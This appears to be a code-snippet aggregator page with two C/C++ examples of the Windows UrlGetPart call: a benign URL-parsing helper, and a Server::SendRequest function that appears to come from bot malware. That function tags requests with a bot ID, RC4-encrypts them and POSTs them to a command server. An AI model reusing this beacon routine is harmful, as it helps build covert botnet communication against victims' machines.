Esempio n. 1
0
PCHAR Server::SendRequest(PCHAR ServerUrl, DWORD Type, PCHAR Request, DWORD RequestLen, BOOLEAN Wait, PDWORD Size, PBOOLEAN pbok)
{
	PVOID Result = NULL;
	WINET_LOADURL LoadUrl = {0};
	PCHAR BotId = Drop::GetBotID();
	CHAR chHost[MAX_PATH] = {0};
	DWORD dwHost = RTL_NUMBER_OF(chHost)-1;
	PCHAR FullRequest;
	
	*pbok = FALSE;
	if (FullRequest = (PCHAR)malloc(RequestLen + 100))
	{
		DWORD Len = _snprintf(FullRequest, RequestLen + 100, "%s|%d|", Drop::GetBotID(), Type);
		
		CopyMemory(FullRequest + Len, Request, RequestLen);
		Len += RequestLen;

		LoadUrl.pcMethod = "POST";
		LoadUrl.pcUrl = ServerUrl;
		if (SUCCEEDED(UrlGetPart(ServerUrl, chHost, &dwHost, URL_PART_HOSTNAME, 0)))
		{
			LoadUrl.dwPstData = Len;
			if (LoadUrl.pvPstData = Utils::UtiCryptRc4M(chHost, dwHost, FullRequest, Len))
			{
				LoadUrl.dwRetry = Config::ReadInt(CFG_DCT_MAIN_SECTION, CFG_DCT_MAIN_SRVRETRY);

				PVOID Buffer = Wait ? WinetLoadUrlWait(&LoadUrl, 2*60) : WinetLoadUrl(&LoadUrl);
				if (Buffer)
				{
					Utils::UtiCryptRc4(BotId, lstrlen(BotId), Buffer, Buffer, LoadUrl.dwBuffer);

					if (RtlEqualMemory(Buffer, "OK\r\n", 4))
					{
						*pbok = TRUE;

						if (LoadUrl.dwBuffer > 4)
						{
							if (Result = malloc(LoadUrl.dwBuffer - 3))
							{
								CopyMemory(Result, (PCHAR)Buffer + 4, LoadUrl.dwBuffer - 4);
								((PCHAR)Result)[LoadUrl.dwBuffer - 4] = 0;
								if (Size) *Size = LoadUrl.dwBuffer - 4;
							}
						}
					}

					free(Buffer);
				}

				free(LoadUrl.pvPstData);
			}
		}

		free(FullRequest);
	}

	return (PCHAR)Result;
}
Esempio n. 2
0
BOOL CMainDlg::GetDomainAndPortFromUrl(LPCTSTR strUrl, LPTSTR strDomain, INTERNET_PORT &nServerPort)
{
    ATLASSERT(strUrl);
    const int PORT_MAX_LENGTH = 5;
    TCHAR szPort[PORT_MAX_LENGTH];
    DWORD dwPort = PORT_MAX_LENGTH;
    HRESULT hPort = UrlGetPart(strUrl, 
        szPort, 
        &dwPort, 
        URL_PART_PORT, 
        NULL);
    if (hPort != S_OK)
    {
        nServerPort  = INTERNET_DEFAULT_HTTP_PORT;
        if( wcsnicmp(strUrl, URL_PROTOCOL_HTTPS, wcslen(URL_PROTOCOL_HTTPS)) == 0)
        {
            nServerPort  = INTERNET_DEFAULT_HTTPS_PORT;
        }
    }
    else
    {
        nServerPort = static_cast<INTERNET_PORT>(_wtol(szPort));
        ATLASSERT(nServerPort != 0);
        if (nServerPort == 0)
        {
            nServerPort = INTERNET_DEFAULT_HTTP_PORT;
        }
    }
    DWORD dwlen = static_cast<DWORD>(wcslen(strDomain));
    HRESULT hDomain = UrlGetPart(strUrl, 
        strDomain, 
        &dwlen, 
        URL_PART_HOSTNAME, 
        NULL);

    if (hDomain != S_OK)
    {
        return FALSE;
    }
    return TRUE;
}